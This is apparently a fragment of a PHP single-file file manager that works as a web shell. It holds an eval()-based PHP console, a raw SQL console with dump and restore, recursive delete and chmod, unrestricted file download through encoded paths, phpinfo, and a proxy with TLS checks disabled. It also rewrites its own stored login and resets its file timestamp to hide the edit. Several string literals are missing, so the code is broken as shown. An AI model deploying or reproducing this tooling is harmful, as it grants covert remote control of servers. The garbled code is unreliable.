				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el !=  && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file== || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace(, '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) !=  || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname== OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
			
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
			
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
			
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():;
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry !=  && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}




// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*)%i', '$1<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>-("png")-</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7